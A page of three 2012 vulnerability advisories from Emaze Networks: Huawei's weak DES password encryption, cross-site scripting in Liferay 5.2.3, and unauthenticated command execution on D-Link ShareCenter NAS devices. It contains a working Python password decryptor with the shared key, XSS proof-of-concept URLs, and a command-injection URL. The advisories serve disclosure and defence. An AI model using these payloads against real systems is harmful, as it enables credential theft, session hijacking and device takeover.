Weak password encryption on Huawei products

1 comments
Advisory Information
Title: Weak password encryption on Huawei products
Release date: 13/11/2012
Credits: Roberto Paleari,  Ivan Speziale

Vulnerability Information
Class: Information disclosure

Affected Software
We confirm the presence of this security vulnerability on the following products:
  • Huawei Quidway series
  • Huawei CX600
Other models are probably also vulnerable, but they were not checked.

Vulnerability Details
Huawei devices support a weak password encryption algorithm. With this scheme, passwords are obfuscated and encrypted with DES, using an encryption key shared among all the affected devices. This encryption scheme does not use any password salting mechanism. As a consequence, passwords extracted from a victim's device can be deciphered instantaneously.

A Python procedure that decodes a given password is included below. Upon termination, procedure decrypt_password() returns the clear-text password

from Crypto.Cipher import DES

def decode_char(c):
    if c == 'a':
        r = '?'
    else:
        r = c
    return ord(r) - ord('!')

def ascii_to_binary(s):
    assert len(s) == 24

    out = [0]*18
    i = 0
    j = 0

    for i in range(0, len(s), 4):
        y = decode_char(s[i + 0])
        y = (y << 6) & 0xffffff

        k = decode_char(s[i + 1])
        y = (y | k) & 0xffffff
        y = (y << 6) & 0xffffff

        k = decode_char(s[i + 2])
        y = (y | k) & 0xffffff
        y = (y << 6) & 0xffffff

        k = decode_char(s[i + 3])
        y = (y | k) & 0xffffff

        out[j+2] = chr(y       & 0xff)
        out[j+1] = chr((y>>8)  & 0xff)
        out[j+0] = chr((y>>16) & 0xff)

        j += 3

    return "".join(out)

def decrypt_password(p):
    r = ascii_to_binary(p)

    r = r[:16]

    d = DES.new("\x01\x02\x03\x04\x05\x06\x07\x08", DES.MODE_ECB)
    r = d.decrypt(r)

    return r.rstrip("\x00")

Remediation
We recommend to store passwords using a proper hashing algorithm, instead of leveraging symmetric encryption. At the moment, this issue has been addressed by Huawei with security advisory Huawei-SA-20120827-01-CX600 ("Updated Security Advisory on the Risk of Password Being Cracked Due to DES Encryption Algorithm"). Further details are available at the following URL:


Copyright
Copyright(c) Emaze Networks S.p.A. 2012, All rights reserved worldwide. Permission is hereby granted to redistribute this advisory, providing that no changes are made and that the copyright notices and disclaimers remain intact.

Disclaimer
Emaze Networks S.p.A. is not responsible for the misuse of the information provided in our security advisories. These advisories are a service to the professional security community. There are NO WARRANTIES with regard to this information. Any application or distribution of this information constitutes acceptance AS IS, at the user's own risk. This information is subject to change without notice.

Multiple Cross-Site Scripting Vulnerabilities in Liferay CMS

0 comments
Advisory Information
Title: Multiple Cross-Site Scripting Vulnerabilities in Liferay CMS Community Edition 5.2.3
Release date: 17/05/2012
Last update: 17/05/2012
Credits: Coppeto Nello, Vapore Francesco, Cersosimo Fiorenzo, Del Gobbo Primo, Imperato Pasquale (Emaze Networks S.p.A.)


Vulnerability Information
Class: Input Validation Vulnerability, Cross-site Scripting
CVE: CVE-2012-1559

Affected Software
We confirm the presence of the security vulnerabilities on the following products versions:

  • Liferay Community Edition 5.2.3


Vulnerability Details
The CMS can be exploited to cause a disclosure of the user’s session cookie, allowing an attacker to hijack the user’s session and take over the account.

1) Page: group/control_panel/manage | Parameter: _140_tabs4

https://example.com/group/control_panel/manage?p_p_id=140&p_p_lifecycle=0&p_p_state=maximized&p_p_mode=view&_140_struts_action=%2Fmy_pages%2Fedit_pages&_140_tabs1=public-pages&_140_tabs2=pages&_140_tabs3=children&_140_redirect=&_140_groupId=28263&_140_tabs4=5d0cc%22%3E%3Cimg%20src%3da%20onerror%3dalert%28%27XSS%27%29%3E6cc79885871&_140_selPlid=0
2) Page: group/control_panel/manage | Parameter: _140_groupId

https://example.com/group/control_panel/manage?p_p_id=140&p_p_lifecycle=0&p_p_state=maximized&p_p_mode=view&_140_struts_action=%2Fmy_pages%2Fedit_pages&_140_tabs1=public-pages&_140_privateLayout=false&_140_backURL=&_140_groupId=28263&261a4
</ScRiPt%20><img%20src%3da%20onerror%3dalert('XSS')>74c1e2fc3d9=1  
3) Page: user/username/home | Parameter: _2_redirect

https://example.com/user/username/home?p_p_id=2&p_p_lifecycle=0&p_p_state=maximized&p_p_mode=view&_2_struts_action=%2Fmy_account%2Fedit_pages&_2_tabs1=public-pages&_2_redirect=%2Fimage%2F6144a"><img%20src%3da%20onerror%3dalert('XSS')>17c36eda2e6&_2_groupId=28263
4) Page: user/username/home | Parameter: _88_redirect

https://example.com/user/username/home?p_p_id=88&p_p_lifecycle=0&p_p_state=maximized&p_p_mode=view&_88_struts_action=%2Flayout_management%2Fedit_pages&_88_tabs1=private-pages&_88_redirect=%2Fimage%2Fdfcdb"><img%20src%3da%20onerror%3dalert('XSS')>d71e7518a9b&_88_groupId=28263&_88_selPlid=29301
5) Page: user/username/home | Parameter: _2_groupId

https://example.com/user/username/home?p_p_id=2&p_p_lifecycle=0&p_p_state=maximized&p_p_mode=view&_2_struts_action=%2Fmy_account%2Fedit_pages&_2_tabs1=public-pages&_2_redirect=%2Fimage%2F&_2_groupId=28263&c46be</ScRiPt%20><img%20src%3da%20onerror%3dalert('XSS')>026191b6b04=1

Remediation
Upgrade to Liferay 6.

Report Timeline
  • 23/01/2012 - Initial vendor contact.
  • 25/01/2012 - Vendor replied.
  • 08/02/2012 - Emaze opened a detailed security ticket on Liferay Issues Portal.
  • 17/02/2012 - Vendor replied that issues are known, and have been fixed in product version 6.1.0.
  • 02/03/2012 - Emaze asks additional technical details and the CVE ID of the vulnerabilities.
  • 02/03/2012 - Vendor replied that have not CVE ID or other details.
  • 06/03/2012 - Emaze asks a private email address to discuss the details of the vulnerabilities.
  • 17/05/2012 - No reply. Disclosure.


Copyright
Copyright(c) Emaze Networks S.p.A. 2012, All rights reserved worldwide. Permission is hereby granted to redistribute this advisory, providing that no changes are made and that the copyright notices and disclaimers remain intact.

Emaze Networks has updated ipLegion, its vulnerability assessment platform, to check for this vulnerability. Contact info@emaze.net to have more information about ipLegion.

Disclaimer
Emaze Networks S.p.A. is not responsible for the misuse of the information provided in our security advisories. These advisories are a service to the professional security community. There are NO WARRANTIES with regard to this information. Any application or distribution of this information constitutes acceptance AS IS, at the user's own risk. This information is subject to change without notice.

Unauthenticated remote code execution on D-Link ShareCenter products

0 comments
Advisory Information
Title: Unauthenticated remote code execution on D-Link ShareCenter products
Release date: 08/02/2012
Last update: 08/02/2012
Credits: Roberto Paleari, Emaze Networks S.p.A.

Vulnerability Information
Class: Authentication bypass, remote code execution

Affected Software
We confirm the presence of the security vulnerabilities on the following products/firmware versions:
  • DNS-320, firmware version 2.00.1217.2010
  • DNS-320, firmware version 2.01.0512.2011
  • DNS-320, firmware version 2.02.0901.2011
  • DNS-320, firmware version 2.02.0923.2011
  • DNS-325, firmware version 1.01.1217.2010
Other models and firmware versions are probably also vulnerable, but they were not checked.

Vulnerability Details
D-Link ShareCenter devices suffer from a publicly-known authentication bypass issue that, according to an existing advisory, can be exploited to cause a Denial-of-Service.

In this advisory we shed some light over the impact of this issue. In particular, the device implements almost no authentication checks on HTTP requests for any existing CGI script (i.e., all the CGIs under the /cgi directory). As an example, an attacker may retrieve the device model & firmware version by accessing the following resources:
  • http:///cgi-bin/discovery.cgi
  • http:///cgi-bin/system_mgr.cgi?cmd=get_firm_v_xml
Besides information gathering, this vulnerability can be exploited to gain full control of the device. In particular, an undocumented functionality permits to execute arbitrary commands, displaying their output in the generated HTML page. As an example, to execute the "ls" command, an attacker can access the following URL:
  • http:///cgi-bin/system_mgr.cgi?cmd=cgi_sms_test&command1=ls
Even in this case, no authentication checks are performed.

Remediation
At the time of writing, we are not aware of an updated firmware that corrects the issue described in this advisory.

Report Timeline
  • 22/12/2011 - Initial vendor contact.
  • 27/12/2011 - Vendor replied.
  • 28/12/2011 - Emaze asks for a technical contact to discuss the details of the vulnerability. Publication date set to January 18th, 2012.
  • 02/01/2012 - No response from the vendor. The author re-sent the last e-mail.
  • 17/01/2012 - Still no reply from the vendor. The author re-sent the e-mail, again.
  • 31/01/2012 - Sent another e-mail to vendor, to inform about the intention to publicly disclose the vulnerability within February, 3rd.
  • 08/02/2012 - Still no reply. Disclosure.

Copyright
Copyright(c) Emaze Networks S.p.A. 2012, All rights reserved worldwide. Permission is hereby granted to redistribute this advisory, providing that no changes are made and that the copyright notices and disclaimers remain intact.

Emaze Networks has updated ipLegion, its vulnerability assessment platform, to check for this vulnerability. Contact info@emaze.net to have more information about ipLegion.

Disclaimer
Emaze Networks S.p.A. is not responsible for the misuse of the information provided in our security advisories. These advisories are a service to the professional security community. There are NO WARRANTIES with regard to this information. Any application or distribution of this information constitutes acceptance AS IS, at the user's own risk. This information is subject to change without notice.